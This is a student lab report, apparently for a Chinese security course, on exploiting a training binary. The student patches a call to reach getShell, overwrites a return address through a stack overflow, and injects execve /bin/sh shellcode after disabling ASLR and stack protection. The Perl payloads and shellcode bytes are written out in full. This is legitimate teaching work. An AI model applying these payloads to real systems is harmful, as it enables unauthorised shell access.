《网络攻防实践》实践九报告
20252809 2025-2026-2 《网络攻防实践》实践九报告
1. 实践目标
本次实践的对象是一个名为 pwn1 的 Linux 可执行文件。
该程序正常执行流程是:main 调用 foo 函数,foo 函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段 getShell,会返回一个可用 Shell。正常情况下这个代码不会被运行。本次实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行该代码片段,然后学习如何注入运行任何 Shellcode。
三个实践内容如下:
- 手工修改可执行文件,改变程序执行流程,直接跳转到
getShell函数。 - 利用
foo函数的 Bof 漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 - 注入一个自己制作的 Shellcode 并运行这段 Shellcode。
2. 实验要求
- 掌握 NOP、JNE、JE、JMP、CMP 汇编指令的机器码
- 掌握反汇编与十六进制编程器
- 能正确修改机器指令改变程序执行流程
- 能正确构造 Payload 进行 Bof 攻击
3. 实验过程
3.0 关键汇编指令机器码速查
| 汇编指令 | 指令含义 | 常见机器码 | 备注 |
|---|---|---|---|
NOP |
无操作(空指令) | 0x90 |
常用于 NOP 滑板 |
JNE / JNZ |
不等则跳转 | 0x75 (rel8) |
条件跳转,偏移为8位 |
JE / JZ |
相等则跳转 | 0x74 (rel8) |
条件跳转,偏移为8位 |
JMP rel8 |
短跳转 | 0xEB |
相对偏移范围为 -128 ~ 127 |
JMP rel32 |
近跳转 | 0xE9 |
相对偏移为32位 |
CMP reg/mem, reg/imm |
比较操作 | 0x38-0x3D 等 |
具体机器码取决于操作数 |
任务一:修改可执行文件,直接跳转到 getShell
1. 修改主机名
sudo su
hostname 学号姓名缩写
hostname

重启后即可生效。
2. 下载并重命名程序
将学习通上的 pwn1 下载到 Kali 中,并改名:
mv pwn1 pwn2809wch

3. 安装 Pwn 所需工具
sudo apt update
sudo apt install gdb execstack vim objdump perl -y

4. 反汇编分析
objdump -d pwn2809wch | more

通过反汇编结果,可以得到以下关键信息:
| 函数 / 指令 | 地址 | 机器码 |
|---|---|---|
getShell |
0x0804847d |
- |
main 中 call foo |
0x080484b5 |
e8 d7 ff ff ff |
call foo 的下一条指令 |
0x080484ba |
- |
偏移计算原理:
目标地址 - call 指令的下一条指令地址 = 相对偏移
0x0804847d - 0x080484ba = 0xffffffc3
因此,需要将原来的机器码 e8 d7 ff ff ff 改成 e8 c3 ff ff ff(只需将第二个字节 d7 改成 c3,其余不变)。
5. 使用 Vim 修改二进制文件
按 q 退出 objdump 分页模式,切换为十六进制模式:
vim pwn2809wch

6. 切换为十六进制显示
在 Vim 中输入:
:%!xxd

7. 定位目标机器码
输入 /e8 d7 可直接定位到需要修改的位置。

8. 修改机器码并保存
将其中的 d7 修改为 c3,然后还原二进制并保存:
:%!xxd -r
:wq

9. 验证修改结果
重新执行反汇编命令,可以看到 call 指令的目标已修改为 getShell。

10. 运行验证
./pwn2809wch
如果出现权限不足的情况:
chmod 777 pwn2809wch

运行后可直接弹出 Shell,说明任务一成功完成。
任务二:缓冲区溢出漏洞,覆盖返回地址触发 getShell
1. 分析并构造 Payload
重新备份一份新的 pwn2809wch,给予最高权限。通过反汇编 foo 函数,得知缓冲区大小为 28 字节,栈结构为:
28 字节缓冲区 + 4 字节 EBP = 32 字节偏移
查得 getShell 函数地址为 0x0804847d,构造 Payload 为:32 个 A + 小端序地址。
2. 生成 Payload 文件
perl -e 'print "A" x 32;print "\x7d\x84\x04\x08"' > input_2809wch

3. 验证 Payload 内容
使用 xxd 查看生成的 Payload 文件:

- 前 32 字节(0x00-0x1F):全是
41(ASCII 码 'A'),共 32 字节。这正好填满了 28 字节缓冲区 + 4 字节旧 EBP,刚好到达返回地址的位置。 - 后 4 字节(0x20-0x23):
7d 84 04 08,即getShell函数地址0x0804847d的小端序形式\x7d\x84\x04\x08。这 4 字节会直接覆盖函数的返回地址,让程序执行完foo后跳转到getShell。
结论:Payload 构造成功。
4. 执行攻击,拿到 Shell
chmod u+x ./pwn2809wch
(cat input_2809wch; cat) | ./pwn2809wch

执行后直接进入交互式 Shell,输入 ls、whoami 验证,任务二完成。
任务三:注入并执行自定义 Shellcode
1. 安装 execstack 工具
由于在线下载失败,选择离线下载 execstack 的 deb 安装包:
# 下载地址:http://archive.ubuntu.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

执行 execstack --help,若出现帮助信息即表示安装成功。
2. 设置堆栈可执行权限
chmod u+x pwn2809wch
sudo execstack -s ./pwn2809wch
sudo execstack -q ./pwn2809wch

输出带 X 即表示设置成功。
3. 关闭系统 ASLR 地址随机化
sudo sh -c 'echo 0 > /proc/sys/kernel/randomize_va_space'
cat /proc/sys/kernel/randomize_va_space

输出 0 表示关闭,2 表示开启。此处关闭成功。
4. 构造初始 Payload(用于 GDB 调试定位地址)
该 Payload 用于触发溢出,帮助我们找到 Shellcode 的内存地址:
perl -e 'print "A" x 32;print "\x01\x02\x03\x04\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
Payload 结构说明:
| 部分 | 内容 | 作用 |
|---|---|---|
A x 32 |
32 个字符 'A' | 填满缓冲区和旧的 EBP,刚好覆盖到返回地址 |
\x01\x02\x03\x04 |
占位返回地址 | 后面会替换成真实地址 |
\x90 x 6 |
NOP 滑板 | 提高 Shellcode 的命中率 |
| 后续字节 | 32 位 Linux 标准 Shellcode | 用来获取 Shell |

5. GDB 调试,获取 Shellcode 的真实内存地址
打开两个终端:
终端 1:加载初始 Payload
(cat input_shellcode; cat) | ./pwn2809wch

终端 2:找到进程 PID
ps aux | grep pwn2809wch

记录 pwn2809wch 的进程 PID(7138)。
终端 2:用 GDB 附加到进程
gdb
attach <PID>

找到 foo 函数的 ret 指令地址
disassemble foo

记录 ret 指令的地址(如 0x080484ae)。
设置断点
break *0x080484ae

让程序运行到断点
c

然后切回终端 1,按一下回车键,程序就会跑到断点停下,GDB 里会显示断住信息。
查看当前栈顶 ESP 的地址
info r esp

记录栈顶地址(0xffd8fb5c),这就是程序执行到 ret 指令时的栈顶地址。
计算 Shellcode 的真实地址
0xffd8fb5c + 4 = 0xffd8fb60
添加说明:返回地址被弹出后 ESP+4 指向 NOP 滑板
把地址转成小端序
0xffd8fb60 → 拆成字节:ff d8 fb 60 → 小端序:\x60\xfb\xd8\xff
6. 生成最终的 Payload
终端 2 输入 quit 退出 GDB,然后生成最终的 Payload:
perl -e 'print "A" x 32;print "\x60\xfb\xd8\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_final

7. 执行攻击
去终端 1 关闭正在运行的程序,然后执行攻击命令:
Ctrl + C
(cat input_final; cat) | ./pwn2809wch

终端会变成一个空白命令行,即成功拿到了 Shell,任务三完成。
4. 学习遇到的问题
-
问题 1:实验在下载安装 gdb 的过程中一直出现网络超时的情况
- 解决方案:将虚拟机网卡配置的 NAT 网卡移除,换成桥接模式,即可正常下载。
-
问题 2:使用 GDB 附加进程时提示
ptrace: Operation not permitted,无法调试- 原因分析:Kali Linux 等现代发行版默认启用了 YAMA 安全模块,限制了非父进程对其它进程的 ptrace 操作(即只有父进程可以调试子进程)。当我们在终端 2 中使用
gdb attach <PID>时,GDB 不是被测进程的父进程,因此被内核拒绝。 - 解决方案:
- 临时关闭 YAMA ptrace 限制(推荐,实验后恢复):
sudo sysctl -w kernel.yama.ptrace_scope=0 - 永久修改(可选):编辑
/etc/sysctl.d/10-ptrace.conf,设置kernel.yama.ptrace_scope = 0并执行sudo sysctl -p。 - 使用 root 权限运行 GDB:
sudo gdb attach <PID>,但需要确保终端 1 中的程序也以相同用户(一般为普通用户)运行,否则可能引入权限差异。 - 验证:修改后再次执行
attach,应能正常进入调试界面。
- 临时关闭 YAMA ptrace 限制(推荐,实验后恢复):
- 原因分析:Kali Linux 等现代发行版默认启用了 YAMA 安全模块,限制了非父进程对其它进程的 ptrace 操作(即只有父进程可以调试子进程)。当我们在终端 2 中使用
5. 实践总结
5.0 三种攻击方式对比
| 对比维度 | 任务一(修改文件) | 任务二(Bof 覆盖返回地址) | 任务三(Shellcode 注入) |
|---|---|---|---|
| 是否需要修改可执行文件 | 是(直接修改二进制) | 否 | 否 |
| 是否依赖缓冲区溢出漏洞 | 否 | 是 | 是 |
| 是否需要关闭 ASLR | 否 | 否 | 是(推荐) |
| 是否需要堆栈可执行 | 否 | 否 | 是 |
| 是否需要构造 Payload | 否 | 是(32字节填充+地址) | 是(32字节填充+跳转地址+NOP+Shellcode) |
| 是否使用外部工具调试定位地址 | 否 | 否 | 是(GDB 动态调试) |
| 攻击成功率稳定性 | 100%(修改后固定跳转) | 100%(地址固定) | 较高(受栈地址波动影响) |
| 技术核心 | 理解相对寻址与机器码修改 | 理解栈帧结构与返回地址覆盖 | 理解栈执行、地址泄露与 NOP 滑板 |
本次实验围绕 Linux 可执行文件的漏洞利用展开,系统学习了三种经典的攻击技术:
任务一让我理解了程序执行流程的本质——通过修改机器指令中的相对偏移地址,可以直接改变程序的控制流。这种"硬编码"级别的修改虽然简单粗暴,但揭示了二进制程序的可篡改性,也让我深刻理解了 call 指令的相对寻址机制。
任务二是缓冲区溢出攻击的经典实践。通过精确计算缓冲区大小、EBP 占用空间和返回地址位置,构造出覆盖返回地址的 Payload,实现了对程序执行流程的劫持。这个过程让我理解了栈帧结构、函数调用约定以及小端序地址存储等核心概念。
任务三是最具挑战性的 Shellcode 注入。从关闭 ASLR、设置堆栈可执行,到构造 NOP 滑板、定位 Shellcode 内存地址,再到最终生成精确指向 Shellcode 的 Payload,每一步都需要对系统底层机制有清晰的理解。GDB 动态调试的过程让我体会到"在内存中追踪代码"的精妙之处。
总而言之,本次实践不仅让我掌握了三种具体的漏洞利用技术,更重要的是建立了"从汇编指令到内存布局,从静态分析到动态调试"的完整攻击思维框架。这些技能是深入理解软件安全、开展渗透测试和漏洞研究的重要基础。
6. 致谢
感谢《网络攻防实践》课程王老师的悉心指导与耐心解答,为本次实验提供了清晰的思路框架与专业的技术支持。感谢老师提供的实验环境和样本资源,使我们能够在安全可控的条件下开展二进制漏洞利用实践。同时感谢开源社区中 GDB、Vim、Perl 等优秀工具的开发者与维护者,正是这些成熟可靠的技术工具,为安全研究提供了坚实的技术基础。
7. 参考资料
[1] GNU Project. GDB - The GNU Project Debugger. https://www.gnu.org/software/gdb/
[2] Vim 官方网站. Vim - the ubiquitous text editor. https://www.vim.org/
[3] Perl 官方网站. The Perl Programming Language. https://www.perl.org/
[4] objdump - GNU Binutils. Linux man pages. https://man7.org/linux/man-pages/man1/objdump.1.html
[5] execstack - tool to set, clear, or query executable stack flag of ELF binaries. Ubuntu Packages. https://packages.ubuntu.com/
[6] Aleph One. Smashing The Stack For Fun And Profit. Phrack Magazine, Issue 49, 1996. 经典缓冲区溢出攻击原理文献
[7] 诸葛建伟, 陈力波等. 《网络攻防技术与实践》. 电子工业出版社, 2017.
浙公网安备 33010602011771号